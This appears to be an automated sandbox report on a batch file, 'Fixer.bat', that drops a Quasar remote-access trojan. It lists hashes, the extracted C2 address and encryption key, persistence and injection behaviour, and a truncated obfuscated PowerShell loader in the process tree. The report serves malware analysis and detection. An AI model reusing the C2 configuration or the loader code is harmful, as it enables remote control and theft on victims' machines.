Analysis
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max time kernel
30s -
max time network
31s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
12-05-2024 18:29
Static task
static1
Behavioral task
behavioral1
Sample
Fixer.bat
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
Fixer.bat
Resource
win10v2004-20240426-en
General
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Target
Fixer.bat
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Size
621B
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MD5
e235e723f57a72ef725306c3e14d4726
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SHA1
9b2153053f8e89c300e32da5df32e9b990594aac
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SHA256
aebe0bafeb12706e614a45f2df40518d32d502093517ce95e2d3c1bbfd64ca67
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SHA512
0a4eda531be3904ae944d2c1c43755921cde4333a8e9d6bee6669e3de73b6c7859bb7ab3aa7a712fa2085d3fa1fb1d1ed14e5d6ed488a10bd2f6ab6ed049d25e
Malware Config
Extracted
quasar
3.1.5
RPad
even-lemon.gl.at.ply.gg:33587
$Sxr-okPqrmZ8kNVUcS4Rp0
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encryption_key
XmcBnPuLlN1e8SHIRR1z
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install_name
$sxr-powershell.exe
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log_directory
$SXR-LOGS
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reconnect_delay
3000
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startup_key
$sxr-powershell
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subdirectory
$sxr-seroxen2
Signatures
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Quasar payload 2 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\BoostBot.exe family_quasar behavioral2/memory/4172-25-0x0000000000ED0000-0x0000000000F3C000-memory.dmp family_quasar -
Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
Processes:
powershell.EXEpowershell.EXEdescription pid process target process PID 2864 created 616 2864 powershell.EXE winlogon.exe PID 4796 created 616 4796 powershell.EXE winlogon.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
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Downloads MZ/PE file
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Sets service image path in registry 2 TTPs 1 IoCs
Processes:
WaaSMedicAgent.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DoSvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p" WaaSMedicAgent.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
wmiprvse.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe -
Executes dropped EXE 4 IoCs
Processes:
BoostBot.exe$sxr-powershell.exeinstall.exeinstall.exepid process 4172 BoostBot.exe 4756 $sxr-powershell.exe 3872 install.exe 2604 install.exe -
Modifies file permissions 1 TTPs 1 IoCs
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
Processes:
flow ioc 30 raw.githubusercontent.com 24 raw.githubusercontent.com 25 raw.githubusercontent.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 19 ip-api.com -
Drops file in System32 directory 9 IoCs
Processes:
svchost.exepowershell.EXEsvchost.exepowershell.EXEdescription ioc process File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx svchost.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
powershell.EXEpowershell.EXEdescription pid process target process PID 2864 set thread context of 532 2864 powershell.EXE dllhost.exe PID 4796 set thread context of 4028 4796 powershell.EXE dllhost.exe -
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
mousocoreworker.exedescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString mousocoreworker.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 mousocoreworker.exe -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
SCHTASKS.exeschtasks.exeschtasks.exepid process 4060 SCHTASKS.exe 4872 schtasks.exe 1768 schtasks.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
mousocoreworker.exewmiprvse.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.EXEmousocoreworker.exepowershell.EXEsvchost.exesvchost.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb010000004710f940154f374ead54f219e7ad58f300000000020000000000106600000001000020000000f6546da598014f6d6d144053ed8915972c18ec4c7061fd283e91c2a67082ac39000000000e8000000002000020000000ae8280f2cba5f9f4f039ea79c30ae906565b2379d846f385bc0c7a15cd1d0bf9b0030000c9d386a17ab2e5d4ff602ef308ee6f04cfba9e6900b79acc49ff023515e151fffda2848046d372bfc8131fb9f21149aed778ce51bc191a936d419ebf1da70b0f78fda2da59c8a8597975ce4b5d83f8238b5be2a9e97b5e211a52f5a67e5cd077d6f9cf03e5a71edfa57ff865ac9765a791e00960c0561d93bffa2ba82934be6e3b4e8f39a2e70a8bc4a3efef4e6548eb4c07e2d79f15ab1ee4d05616cf7f223b26654afd29c628c946cd35c1a38a03e2ef5f3787d3312fe36b64d538fb268c660a64e29766711342520293427f98ddb5ac42f0997d4881f3212770fdc1b5ae9bd11542c904ddcb76f27e46c05ebaa39b676ac4cbedb1d9ae89c7b54871921e07e7fbcc67090a5966aa6fedefd9de388438d5db4e59d7acd71f13fdc6dde4a4e90b0e56403247df70bb82b7e791a1466e9096ef7f6e0fca26235d47031c70fbcf321e7df674c900aab9b3204295a54b0658fb638ec248ec96eb59553b82091d766d85a8f2aa9d933be10e8d11e97168e54b79dae6ad3db60fd052d9ddb401c0cda7113e0168a82b121eb2e06a2865e996fb1a791f2749d79926d2141726653e1e2d31bbf7ab857325dcac20367b29afaae19f992b842300ef7e2286673ffe20e2e844c4ec71aacd9adfae06b721acac2307cd7051adedc51d5dcacba09e12177a9b627400a06c8ea8f5c6ab0b46c9d0b6472c67138a4ba058f15d670ca50d8281280b256456a57dfe1389c109fe4914a123aa4f766c4d88e66862a93aa200abd6452da3bf64179346592e884b3f01070644d6f313a71658b2b56aa3a76f955ec1d45afe95d475b84e5c7b5b69c1390695eeac6a4953fe0ab3a9e49018920dcb2d63facab4938b7c007313acf5f3b3b651c69ff10b16ee5ef17cd402faec464973d45c8df205cdef8121014e554cd6f5077f31fbc0aa21d857e23c285d024d068e4843e8cfbf2dc3eefa44c1230a0e97979cdfdb0d8703b29fcc63a83462e69b1a73ba3796da75885f6f60200671b1f494e8dbafd41ec1be9c9d52eab67747f35749c44199c5b5dbc4f8cf3f74079d762899bfdd51bceae5f69a0b11f279046c015bac729992d13b011821cbc03ad3511e6ff741c67dcad866e1169ee4688dea1743a31ec4f8bb8e1c09285756c47356aec1b888692f9a46eec266328a20dde783f5f209d468fcd72be0c40823aa06c6d90b35c5ccc0aa2af359a51944124310bdcdaa07b9af425f9b659a8cfc38348e74b80425ef3a41f8f42b93c112e3498e3c5d00d8878062d4b271657309942e1f67511bbfa38dd407557d47e40a41402c9ff2ca278cb6390e8867defe33bcb2eff54000000092b5445807b19880a4ff9c6fc5f8531b39a2f2bf8a448e94848b79768491a43af8c7b428cf8f81c51eb83ed78171afa90eef8bb4468484122f0251c6f720ac07 mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414} mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\ApplicationFlags = "1" mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018400E1E98B978" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek\CacheStore mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exepowershell.EXEpowershell.EXEdllhost.exe$sxr-powershell.exedllhost.exewmiprvse.exepid process 3972 powershell.exe 3972 powershell.exe 2864 powershell.EXE 2864 powershell.EXE 4796 powershell.EXE 4796 powershell.EXE 2864 powershell.EXE 532 dllhost.exe 532 dllhost.exe 532 dllhost.exe 532 dllhost.exe 4756 $sxr-powershell.exe 4796 powershell.EXE 4796 powershell.EXE 532 dllhost.exe 532 dllhost.exe 4028 dllhost.exe 4028 dllhost.exe 4028 dllhost.exe 4028 dllhost.exe 4756 $sxr-powershell.exe 1412 wmiprvse.exe 4028 dllhost.exe 4028 dllhost.exe 4028 dllhost.exe 4028 dllhost.exe 4028 dllhost.exe 4028 dllhost.exe 4028 dllhost.exe 4028 dllhost.exe 4756 $sxr-powershell.exe 4028 dllhost.exe 4028 dllhost.exe 4028 dllhost.exe 4028 dllhost.exe 4028 dllhost.exe 4028 dllhost.exe 4028 dllhost.exe 4028 dllhost.exe 4756 $sxr-powershell.exe 4028 dllhost.exe 4028 dllhost.exe 4028 dllhost.exe 4028 dllhost.exe 4028 dllhost.exe 4028 dllhost.exe 4028 dllhost.exe 4028 dllhost.exe 4028 dllhost.exe 4028 dllhost.exe 4756 $sxr-powershell.exe 4028 dllhost.exe 4028 dllhost.exe 4028 dllhost.exe 4028 dllhost.exe 4028 dllhost.exe 4028 dllhost.exe 4028 dllhost.exe 4028 dllhost.exe 4028 dllhost.exe 4028 dllhost.exe 4028 dllhost.exe 4028 dllhost.exe 4028 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exeBoostBot.exe$sxr-powershell.exepowershell.EXEpowershell.EXEdllhost.exedllhost.exesvchost.exedescription pid process Token: SeDebugPrivilege 3972 powershell.exe Token: SeDebugPrivilege 4172 BoostBot.exe Token: SeDebugPrivilege 4756 $sxr-powershell.exe Token: SeDebugPrivilege 2864 powershell.EXE Token: SeDebugPrivilege 4796 powershell.EXE Token: SeDebugPrivilege 2864 powershell.EXE Token: SeDebugPrivilege 532 dllhost.exe Token: SeDebugPrivilege 4796 powershell.EXE Token: SeDebugPrivilege 4028 dllhost.exe Token: SeAssignPrimaryTokenPrivilege 2416 svchost.exe Token: SeIncreaseQuotaPrivilege 2416 svchost.exe Token: SeSecurityPrivilege 2416 svchost.exe Token: SeTakeOwnershipPrivilege 2416 svchost.exe Token: SeLoadDriverPrivilege 2416 svchost.exe Token: SeSystemtimePrivilege 2416 svchost.exe Token: SeBackupPrivilege 2416 svchost.exe Token: SeRestorePrivilege 2416 svchost.exe Token: SeShutdownPrivilege 2416 svchost.exe Token: SeSystemEnvironmentPrivilege 2416 svchost.exe Token: SeUndockPrivilege 2416 svchost.exe Token: SeManageVolumePrivilege 2416 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2416 svchost.exe Token: SeIncreaseQuotaPrivilege 2416 svchost.exe Token: SeSecurityPrivilege 2416 svchost.exe Token: SeTakeOwnershipPrivilege 2416 svchost.exe Token: SeLoadDriverPrivilege 2416 svchost.exe Token: SeSystemtimePrivilege 2416 svchost.exe Token: SeBackupPrivilege 2416 svchost.exe Token: SeRestorePrivilege 2416 svchost.exe Token: SeShutdownPrivilege 2416 svchost.exe Token: SeSystemEnvironmentPrivilege 2416 svchost.exe Token: SeUndockPrivilege 2416 svchost.exe Token: SeManageVolumePrivilege 2416 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2416 svchost.exe Token: SeIncreaseQuotaPrivilege 2416 svchost.exe Token: SeSecurityPrivilege 2416 svchost.exe Token: SeTakeOwnershipPrivilege 2416 svchost.exe Token: SeLoadDriverPrivilege 2416 svchost.exe Token: SeSystemtimePrivilege 2416 svchost.exe Token: SeBackupPrivilege 2416 svchost.exe Token: SeRestorePrivilege 2416 svchost.exe Token: SeShutdownPrivilege 2416 svchost.exe Token: SeSystemEnvironmentPrivilege 2416 svchost.exe Token: SeUndockPrivilege 2416 svchost.exe Token: SeManageVolumePrivilege 2416 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2416 svchost.exe Token: SeIncreaseQuotaPrivilege 2416 svchost.exe Token: SeSecurityPrivilege 2416 svchost.exe Token: SeTakeOwnershipPrivilege 2416 svchost.exe Token: SeLoadDriverPrivilege 2416 svchost.exe Token: SeSystemtimePrivilege 2416 svchost.exe Token: SeBackupPrivilege 2416 svchost.exe Token: SeRestorePrivilege 2416 svchost.exe Token: SeShutdownPrivilege 2416 svchost.exe Token: SeSystemEnvironmentPrivilege 2416 svchost.exe Token: SeUndockPrivilege 2416 svchost.exe Token: SeManageVolumePrivilege 2416 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2416 svchost.exe Token: SeIncreaseQuotaPrivilege 2416 svchost.exe Token: SeSecurityPrivilege 2416 svchost.exe Token: SeTakeOwnershipPrivilege 2416 svchost.exe Token: SeLoadDriverPrivilege 2416 svchost.exe Token: SeSystemtimePrivilege 2416 svchost.exe Token: SeBackupPrivilege 2416 svchost.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
$sxr-powershell.exepid process 4756 $sxr-powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
cmd.exepowershell.exeBoostBot.exe$sxr-powershell.exepowershell.EXEdllhost.exedescription pid process target process PID 1504 wrote to memory of 1464 1504 cmd.exe certutil.exe PID 1504 wrote to memory of 1464 1504 cmd.exe certutil.exe PID 1504 wrote to memory of 3972 1504 cmd.exe powershell.exe PID 1504 wrote to memory of 3972 1504 cmd.exe powershell.exe PID 3972 wrote to memory of 4172 3972 powershell.exe BoostBot.exe PID 3972 wrote to memory of 4172 3972 powershell.exe BoostBot.exe PID 3972 wrote to memory of 4172 3972 powershell.exe BoostBot.exe PID 1504 wrote to memory of 4544 1504 cmd.exe icacls.exe PID 1504 wrote to memory of 4544 1504 cmd.exe icacls.exe PID 1504 wrote to memory of 1368 1504 cmd.exe reg.exe PID 1504 wrote to memory of 1368 1504 cmd.exe reg.exe PID 1504 wrote to memory of 4032 1504 cmd.exe attrib.exe PID 1504 wrote to memory of 4032 1504 cmd.exe attrib.exe PID 4172 wrote to memory of 1768 4172 BoostBot.exe schtasks.exe PID 4172 wrote to memory of 1768 4172 BoostBot.exe schtasks.exe PID 4172 wrote to memory of 1768 4172 BoostBot.exe schtasks.exe PID 4172 wrote to memory of 4756 4172 BoostBot.exe $sxr-powershell.exe PID 4172 wrote to memory of 4756 4172 BoostBot.exe $sxr-powershell.exe PID 4172 wrote to memory of 4756 4172 BoostBot.exe $sxr-powershell.exe PID 4172 wrote to memory of 3872 4172 BoostBot.exe install.exe PID 4172 wrote to memory of 3872 4172 BoostBot.exe install.exe PID 4172 wrote to memory of 3872 4172 BoostBot.exe install.exe PID 4172 wrote to memory of 4060 4172 BoostBot.exe SCHTASKS.exe PID 4172 wrote to memory of 4060 4172 BoostBot.exe SCHTASKS.exe PID 4172 wrote to memory of 4060 4172 BoostBot.exe SCHTASKS.exe PID 4756 wrote to memory of 4872 4756 $sxr-powershell.exe schtasks.exe PID 4756 wrote to memory of 4872 4756 $sxr-powershell.exe schtasks.exe PID 4756 wrote to memory of 4872 4756 $sxr-powershell.exe schtasks.exe PID 4756 wrote to memory of 2604 4756 $sxr-powershell.exe install.exe PID 4756 wrote to memory of 2604 4756 $sxr-powershell.exe install.exe PID 4756 wrote to memory of 2604 4756 $sxr-powershell.exe install.exe PID 2864 wrote to memory of 532 2864 powershell.EXE dllhost.exe PID 2864 wrote to memory of 532 2864 powershell.EXE dllhost.exe PID 2864 wrote to memory of 532 2864 powershell.EXE dllhost.exe PID 2864 wrote to memory of 532 2864 powershell.EXE dllhost.exe PID 2864 wrote to memory of 532 2864 powershell.EXE dllhost.exe PID 2864 wrote to memory of 532 2864 powershell.EXE dllhost.exe PID 2864 wrote to memory of 532 2864 powershell.EXE dllhost.exe PID 2864 wrote to memory of 532 2864 powershell.EXE dllhost.exe PID 532 wrote to memory of 616 532 dllhost.exe winlogon.exe PID 532 wrote to memory of 672 532 dllhost.exe lsass.exe PID 532 wrote to memory of 952 532 dllhost.exe svchost.exe PID 532 wrote to memory of 332 532 dllhost.exe dwm.exe PID 532 wrote to memory of 516 532 dllhost.exe svchost.exe PID 532 wrote to memory of 728 532 dllhost.exe svchost.exe PID 532 wrote to memory of 1072 532 dllhost.exe svchost.exe PID 532 wrote to memory of 1088 532 dllhost.exe svchost.exe PID 532 wrote to memory of 1104 532 dllhost.exe svchost.exe PID 532 wrote to memory of 1152 532 dllhost.exe svchost.exe PID 532 wrote to memory of 1220 532 dllhost.exe svchost.exe PID 532 wrote to memory of 1284 532 dllhost.exe svchost.exe PID 532 wrote to memory of 1304 532 dllhost.exe svchost.exe PID 532 wrote to memory of 1428 532 dllhost.exe svchost.exe PID 532 wrote to memory of 1444 532 dllhost.exe svchost.exe PID 532 wrote to memory of 1452 532 dllhost.exe svchost.exe PID 532 wrote to memory of 1540 532 dllhost.exe svchost.exe PID 532 wrote to memory of 1588 532 dllhost.exe svchost.exe PID 532 wrote to memory of 1632 532 dllhost.exe svchost.exe PID 532 wrote to memory of 1668 532 dllhost.exe svchost.exe PID 532 wrote to memory of 1744 532 dllhost.exe svchost.exe PID 532 wrote to memory of 1752 532 dllhost.exe svchost.exe PID 532 wrote to memory of 1852 532 dllhost.exe svchost.exe PID 532 wrote to memory of 1864 532 dllhost.exe svchost.exe PID 532 wrote to memory of 1900 532 dllhost.exe svchost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Views/modifies file attributes 1 TTPs 1 IoCs
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:616
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:332
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{234b81d0-e5e6-4f30-92a4-562eafedbc77}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:532 -
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{447d8cc6-86e6-405d-a8fb-7c5d9f2cd742}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4028
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:672
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:952
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:516
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:728
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1072
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1088
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1104 -
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:3016
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:pZuHAzLzIuYM{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$qOSGCUteeyXLWt,[Parameter(Position=1)][Type]$wwWvJUZGOI)$TymOkcQsDML=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('Ref'+[Char](108)+''+[Char](101)+''+[Char](99)+'te'+[Char](100)+''+[Char](68)+'e'+[Char](108)+'e'+[Char](103)+'ate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+'M'+''+'e'+''+[Char](109)+''+[Char](111)+''+'r'+''+'y'+''+[Char](77)+''+[Char](111)+''+'d'+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType('My'+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+'g'+''+[Char](97)+'te'+[Char](84)+''+[Char](121)+'pe',''+[Char](67)+''+'l'+''+'a'+''+'s'+'s'+','+''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+'c'+','+[Char](83)+''+'e'+''+'a'+''+[Char](108)+''+'e'+''+[Char](100)+''+[Char](44)+''+'A'+'n'+[Char](115)+''+[Char](105)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+'s'+[Char](44)+''+'A'+''+'u'+''+[Char](116)+''+'o'+''+'C'+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$TymOkcQsDML.DefineConstructor('RTSpe'+[Char](99)+''+[Char](105)+''+[Char](97)+''+[Char](108)+'N'+[Char](97)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+'i'+''+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+'S'+''+[Char](105)+''+'g'+''+[Char](44)+'P'+[Char](117)+''+'b'+''+'l'+''+'i'+''+'c'+'',[Reflection.Cal